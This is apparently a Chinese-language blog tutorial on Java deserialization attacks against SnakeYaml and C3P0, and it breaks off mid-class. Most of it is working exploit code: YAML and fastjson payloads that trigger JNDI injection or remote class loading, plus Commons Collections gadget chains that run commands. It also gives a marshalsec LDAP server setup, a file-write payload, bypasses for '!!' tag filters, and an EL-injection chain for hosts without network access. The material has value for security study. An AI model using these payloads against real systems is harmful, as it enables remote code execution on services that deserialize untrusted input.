SnakeYaml反序列化SnakeYamlSnakeYaml包主要用来解析yaml格式的内容，yaml语言比普通的xml与properties等配置文件的可读性更高，像是Spring系列就支持yaml的配置文件，而SnakeYaml是一个完整的YAML1.1规范Processor，支持UTF-8/UTF-16，支持Java对象的序列化/反序列化，支持所有YAML定义的类型。YAML基本格式要求：YAML大小写敏感使用缩进代表层级关系缩进只能使用空格，不能使用TAB，不要求空格个数，只需要相同层级左对齐(一般2个或4个空格)<dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency>主要关注序列化与反序列化SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。Yaml.load()：入参是一个字符串或者一个文件，经过序列化之后返回一个Java对象；Yaml.dump()：将一个对象转化为yaml文件形式；常用方法：String dump(Object data) //将Java对象序列化为YAML字符串。 void dump(Object data, Writer output) //将Java对象序列化为YAML流。 String dumpAll(Iterator<? extends Object> data) //将一系列Java对象序列化为YAML字符串。 void dumpAll(Iterator<? extends Object> data, Writer output) //将一系列Java对象序列化为YAML流。 String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) //将Java对象序列化为YAML字符串。 String dumpAsMap(Object data) #将Java对象序列化为YAML字符串。 <T> T load(InputStream io) //解析流中唯一的YAML文档，并生成相应的Java对象。 <T> T load(Reader io) //解析流中唯一的YAML文档，并生成相应的Java对象。 <T> T load(String yaml) //解析字符串中唯一的YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(InputStream yaml) //解析流中的所有YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(Reader yaml) //解析字符串中的所有YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(String yaml) //解析字符串中的所有YAML文档，并生成相应的Java对象。示例package snakeyaml; import org.yaml.snakeyaml.Yaml; public class test { public static void main(String[] args) { Person person = new Person("name",1); Yaml yaml = new Yaml(); // 序列化 String dump = yaml.dump(person); System.out.println(dump); // 反序列化 Object load = yaml.load(dump); System.out.println(load); } } //输出 //!!snakeyaml.Person {age: 1, name: name} // //snakeyaml.Person@4d591d15 //这里的!!类似于fastjson中的@type用于指定反序列化的全类名反序列化过程中会触发set方法和构造方法。利用链JdbcRowSetImpl利用链 jndi这里和fastjson的触发一致，调用com.sun.rowset.JdbcRowSetImpl#setDataSourceName为父类BaseRowSet的dataSource属性赋值然后调用setAutoCommit为autoCommit赋值会调用connect方法这个方法存在new InitialContext().lookup()且参数就是dataSourceName可控，于是可以触发JNDI注入package snakeyaml; import org.yaml.snakeyaml.Yaml; public class JdbcRowSetImplJndi { public static void main(String[] args) { String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/aa\", autoCommit: true}"; Yaml yaml = new Yaml(); yaml.load(payload); } }Spring PropertyPathFactoryBean利用链 jndi需要springframework依赖<dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.3.23</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.23</version> </dependency>这里两种payload，一个是空格缩进的，一个是{}的package snakeyaml; import org.yaml.snakeyaml.Yaml; public class Springjndi { public static void main(String[] args) throws Error ,Exception{ String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + " targetBeanName: \"ldap://127.0.0.1:9999/test\"\n" + " propertyPath: Sentiment\n" + " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + " shareableResources: [\"ldap://127.0.0.1:9999/test\"]"; String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"ldap://127.0.0.1:9999/test\", propertyPath: \"whatever\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"ldap://127.0.0.1:9999/test\"]}}"; Yaml yaml = new Yaml(); yaml.load(payload); } } 这里利用PropertyPathFactoryBean#setBeanFactory()方法，这里可以调用到任意类的getBean()方法。然后利用org.springframework.jndi.support.SimpleJndiBeanFactory#getBean()触发JNDI注入。其中需要调用到getBean()方法，首先要满足isSingleton(this.targetBeanName)返回值为true.this.shareableResources是一个HashSet对象，也就是利用setter方法设置this.shareableResources包含this.targetBeanName即可C3P0利用链jndi在C3P0中有一个基于fastjson进行JNDI注入和反序列化，同理也可以套用在snakeyaml链上package snakeyaml; import org.yaml.snakeyaml.Yaml; public class c3p0jndi { public static void main(String[] args) { String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: \"ldap://127.0.0.1:9999/test\", loginTimeout: \"0\"}"; Yaml yaml = new Yaml(); yaml.load(payload); } } 反序列化c3p0那边的hex反序列化也可以套用一下，这里用cc6来演示：package snakeyaml; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.yaml.snakeyaml.Yaml; import java.beans.PropertyVetoException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class c3p0HexUnsercc6 { public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashMap1=new HashMap<>(); LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx"); HashMap<Object,Object> hashMap2=new HashMap<>(); hashMap2.put(tiedMapEntry,"bbb"); lazyMap.remove("Atkx"); Class clazz=LazyMap.class; Field factoryField= clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); return hashMap2; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException { String hex = toHexAscii(tobyteArray(exp())); System.out.println(hex); String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}"; Yaml yaml = new Yaml(); yaml.load(poc); } }或者直接加载恶意反序列化对象来执行java -jar ysoserial.jar CommonsCollections6 "calc" > calc.bin//生成hex package c3p0; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; public class hex_alltohex { public static void main(String[] args) throws IOException, ClassNotFoundException { InputStream in = new FileInputStream("E:\\ONE-FOX集成工具箱_V8公开版_by狐狸\\gui_scan\\yso\\calc.bin"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } } ScriptEngineManager利用链该漏洞基于SPI机制SPI ，全称为 Service Provider Interface，是一种服务发现机制。JDK通过java.util.ServiceLoder动态装载实现模块，在META-INF/services目录下的配置文件寻找实现类的类名，通过Class.forName加载进来，newInstance()反射创建对象，并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。而javax.script.ScriptEngineManager这个类的底层就利用了SPI机制：ScriptEngineManager(ClassLoader loader) ：此构造函数使用服务提供程序机制加载给定ClassLoader可见的ScriptEngineFactory的实现。 如果loader是null ，则加载与平台捆绑在一起的脚本引擎工厂可以给定一个UrlClassLoader ，并使用SPI机制 (ServiceLoader 来提供) ，来加载远程的ScriptEngineFactory的实现类，那么就可以在远程服务器下，创建META-INF/services/javax.script.ScriptEngineFactory 文件，文件内容指定接口的实现类。github上已经有现成的利用ScriptEngineManager利用方式的exppackage snakeyaml; import org.yaml.snakeyaml.Yaml; public class ScriptEngineManagerD { public static void main(String[] args) { String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:7777/yaml-payload.jar\"]]]]"; Yaml yaml = new Yaml(); yaml.load(payload); } } //不出网的话就写本地文件进去，file:///yaml-payload.jar先调用了init()，进行一些初始化设置之后调用initEngines()跟进在下边调用了return getServiceLoader(loader);，接着就是ServiceLoader.load()，对我们自定义的类进行初始化初始化完成后，回到ScriptEngineManager#initEngines()向下执行看到了两个方法hasNext()、next():hashNext获取全路径，并读取文件中的内容next执行文件中对应的类，导致恶意代码执行本地文件写入在fastjson中，可以通过如下命令进行文件写入，而snakeyaml利用方式在很多方面都有很大的相似之处{ "@type": "java.lang.AutoCloseable", "@type": "sun.rmi.server.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "dst", "append": "false" }, "infl": { "input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==" }, "bufLen": 1048576 }, "protocolVersion": 1 }所以构造snakeyaml的payload：!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },1048576]]filepath是写入路径，base64是我们要写入文件的base64编码加个zlib inflatepackage snakeyaml; import org.yaml.snakeyaml.Yaml; public class fileoutput { public static void main(String[] args) { String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary [binary] },1048576]]\n"; Yaml yaml = new Yaml(); yaml.load(payload); } }写入本地之后就可以通过ScriptEngineManager方式进行本地读取了public class SnakeYaml { public static void main(String[] args) { String payload = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"file:///yaml-payload.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(); yaml.load(payload); } }Apache XBean依赖<dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-naming</artifactId> <version>4.22</version> </dependency>package snakeyaml; import org.yaml.snakeyaml.Yaml; public class apachexbean { public static void main(String[] args) throws Error ,Exception{ String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"test\", \"http://127.0.0.1:7777/\"],!!org.apache.xbean.naming.context.WritableContext []]]"; Yaml yaml = new Yaml(); yaml.load(poc); } }Apache Commons Configuration依赖<dependency> <groupId>commons-configuration</groupId> <artifactId>commons-configuration</artifactId> <version>1.10</version> </dependency>POC：package snakeyaml; import org.yaml.snakeyaml.Yaml; public class apachecc { public static void main(String[] args) throws Error ,Exception{ String poc = "\n" + " ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:9999/test\"]]"; Yaml yaml = new Yaml(); yaml.load(poc); } }Jetty<dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-jndi</artifactId> <version>9.4.8.v20171121</version> </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-plus</artifactId> <version>9.4.8.v20171121</version> </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-util</artifactId> <version>9.4.8.v20171121</version> </dependency>package snakeyaml; import org.yaml.snakeyaml.Yaml; public class Resourcetest { public static void main(String[] args) throws Error ,Exception{ String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n"; Yaml yaml = new Yaml(); yaml.load(poc); } }ByPasshttps://b1ue.cn/archives/407.html如果“不允许 yaml 中存在 !!”，将无法再指定恶意的反序列化类，也就构不成代码执行的威胁了。!! 就相当于 fastjson 里的 @type，用于指定要反序列化的全类名。但是除了 !! 以为还有另外几种 TAG 的表示方式：第一种是用!<TAG>来表示，只需要一个感叹号，尖括号里就是 TAG。前面提到 !! 就是用来表示 TAG 的，会自动补全 TAG 前缀tag:yaml.org,2002:所以要想反序列化恶意类就需要这样构造!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://127.0.0.1:7777/yaml-payload.jar"]]]]第二种，需要在 yaml 中用%TAG声明一个 TAG例如我声明 ! 的tag是 tag:yaml.org,2002:%TAG ! tag:yaml.org,2002:后面再调用 !str的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str。最终我构造的反序列化攻击payload如下%TAG ! tag:yaml.org,2002: --- !javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://127.0.0.1:7777/yaml-payload.jar"]]]]
C3P0反序列化C3P0C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate，Spring等。JDBC是Java DataBase Connectivity的缩写，它是Java程序访问数据库的标准接口。使用Java程序访问数据库时，Java代码并不是直接通过TCP连接去访问数据库，而是通过JDBC接口来访问，而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。连接池类似于线程池，在一些情况下我们会频繁地操作数据库，此时Java在连接数据库时会频繁地创建或销毁句柄，增大资源的消耗。为了避免这样一种情况，我们可以提前创建好一些连接句柄，需要使用时直接使用句柄，不需要时可将其放回连接池中，准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。c3p0具有自动回收空闲连接功能。<dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>利用链URLClassLoader利用链 远程加载字节码漏洞点在PoolBackedDataSourceBase先看序列化的过程，进入PoolBackedDataSourceBase这个类看看writeObject先将当前对象的connectionPoolDataSource属性进行序列化，如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作，我们跟进ReferenceIndirector.indirectForm方法。public IndirectlySerialized indirectForm( Object orig ) throws Exception { Reference ref = ((Referenceable) orig).getReference(); return new ReferenceSerialized( ref, name, contextName, environmentProperties ); } private static class ReferenceSerialized implements IndirectlySerialized { Reference reference; //!!!!! Name name; Name contextName; Hashtable env; ...此方法会调用connectionPoolDataSource属性的getReference方法，并用返回结果作为参数实例化一个ReferenceSerialized对象，然后将ReferenceSerialized对象返回，ReferenceSerialized被序列化可以看出reference是可以被我们控制的，接下来看反序列化的操作，readShort获取版本号为1，往下走,首先获取了反序列化后的对象，然后再判断这个对象o是否实现了IndirectlySerialized接口，在ReferenceIndirector的内部类ReferenceSerialized中实现了这个接口，所以通过判断，调用了o的getObject方法跟进getObject方法跟进ReferenceableUtils.referenceToObject，由于ref是在序列化的时候可以控制的参数，那么fClassName自然也是可以控制的属性，下面就调用了URLClassLoader实例化我们的远程恶意类。这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize的值为true，也就是会初始化类，恶意代码写在静态代码块就会自动执行。因此有没有newInstance()这里都能触发漏洞package c3p0; import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.Base64; import java.util.logging.Logger; public class URLClassLoaderdemo { public static void main(String[] args) throws Exception{ PoolBackedDataSource z = new PoolBackedDataSource(); Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor(); constructor.setAccessible(true); PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance(); ConnectionPool connectionPool = new ConnectionPool("test","http://127.0.0.1:8000/"); Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(obj, connectionPool); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{ protected String classFactory = null; protected String classFactoryLocation = null; public ConnectionPool(String classFactory,String classFactoryLocation){ this.classFactory = classFactory; this.classFactoryLocation = classFactoryLocation; } @Override public Reference getReference() throws NamingException {return new Reference("ref",classFactory,classFactoryLocation);} @Override public PooledConnection getPooledConnection() throws SQLException {return null;} @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;} @Override public PrintWriter getLogWriter() throws SQLException {return null;} @Override public void setLogWriter(PrintWriter out) throws SQLException {} @Override public void setLoginTimeout(int seconds) throws SQLException {} @Override public int getLoginTimeout() throws SQLException {return 0;} @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;} } } JNDI注入 FastJson在fastjson，jackson环境中可用JndiRefForwardingDataSource的dereference()方法中有lookup，并且jndiName通过getJndiName()获取在com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()调用了 dereference() 方法而 setLogWriter 和 setLoginTimeout 两个 setter 方法调用了 inner() 方法public void setLogWriter(PrintWriter out) throws SQLException { this.inner().setLogWriter(out); } // ... public void setLoginTimeout(int seconds) throws SQLException { this.inner().setLoginTimeout(seconds); }就符合了fastjson的利用条件，那么可以用工具起一个LDAP server恶意利用python -m http.server 7777 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:9999/test", "loginTimeout":1}hex序列化字节加载器这个链自能够反序列化一串十六进制字符串，因此实际利用需要有存在反序列化漏洞的组件在WrapperConnectionPoolDataSource的构造方法下调用了C3P0ImplUtils.parseUserOverridesAsString，跟进当userOverridesAsString不为空进入if首先会用substring对userOverridesAsString进行截取，将HASM_HEADER头和最后一位的;扣掉而HASM_HEADER是一个私有的常量将十六进制转成字节数组，最后再强转为map对象，跟进fromByteArray最后到deserializeFromByteArray去readObjectpublic static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); return in.readObject(); }cc6：package c3p0; import com.alibaba.fastjson.JSON; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.beans.PropertyVetoException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class hex_cc6 { public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashMap1=new HashMap<>(); LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx"); HashMap<Object,Object> hashMap2=new HashMap<>(); hashMap2.put(tiedMapEntry,"bbb"); lazyMap.remove("Atkx"); Class clazz=LazyMap.class; Field factoryField= clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); return hashMap2; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException { String hex = toHexAscii(tobyteArray(exp())); System.out.println(hex); //Fastjson<1.2.47 // String payload = "{" + // "\"1\":{" + // "\"@type\":\"java.lang.Class\"," + // "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + // "}," + // "\"2\":{" + // "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + // "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + // "}" + // "}"; //低版本利用 String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}"; JSON.parse(payload); } } cc4：package c3p0; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import com.alibaba.fastjson.JSON; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.PriorityQueue; public class hex_cc4 { public static PriorityQueue CC4() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesclass = templates.getClass(); //name字段 Field nameField = templatesclass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Atkx"); //恶意bytecode字段 Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes"); bytecodeFiled.setAccessible(true); byte[] code = Tools.getBytes("c3p0.evil"); byte[][] codes = {code}; bytecodeFiled.set(templates,codes); //工厂类字段 Field tfactoryField = templatesclass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl() { }); //调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer InstantiateTransformer instantiateTransformer = new InstantiateTransformer( new Class[]{ Templates.class},new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); return priorityQueue; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws Exception { String hex = toHexAscii(tobyteArray(CC4())); System.out.println(hex); //Fastjson<1.2.47 // String payload = "{" + // "\"1\":{" + // "\"@type\":\"java.lang.Class\"," + // "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + // "}," + // "\"2\":{" + // "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + // "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + // "}" + // "}"; //低版本利用 String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}"; JSON.parse(payload); } }或者直接加载恶意反序列化对象来执行java -jar ysoserial.jar CommonsCollections6 "calc" > calc.binpackage c3p0; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; public class hex_alltohex { public static void main(String[] args) throws IOException, ClassNotFoundException { InputStream in = new FileInputStream("E:\\ONE-FOX集成工具箱_V8公开版_by狐狸\\gui_scan\\yso\\calc.bin"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } } 直接搭配fastjson的payload去打即可不出网利用在JNDI高版本利用中，我们可以加载本地的Factory类进行攻击，而利用条件之一就是该工厂类至少存在一个getObjectInstance()方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入C3P0中利用URLClassLoader进行任意类加载的攻击方式，在实例化完我们的恶意类之后，调用了恶意类ObjectFactory.getObjectInstance()。由于可以实例化任意类，所以我们可以将该类设置为本地的BeanFactory类。在不出网的条件下可以进行EL表达式注入，利用方式类似JNDI的高版本绕过。当然这种利用方式需要存在Tomcat8相关依赖环境和URLClassLoader利用链的调用链一样，只是最后不通过URLClassLoader加载远程字节码实例化远程类了，通过本地类的加载来进行EL表达式注入package c3p0; import javax.naming.*; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.Base64; import java.util.logging.Logger; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; public class c3p0_nointernet { public static void main(String[] args) throws Exception{ Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor(); constructor.setAccessible(true); PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance(); ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null); Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(obj, connectionPool); //序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } private static final class ConnectionPool implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public ConnectionPool ( String className, String url ) { this.className = className; this.url = url; } public Reference getReference () throws NamingException { ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); String cmd = "calc"; ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")")); return ref; } public PrintWriter 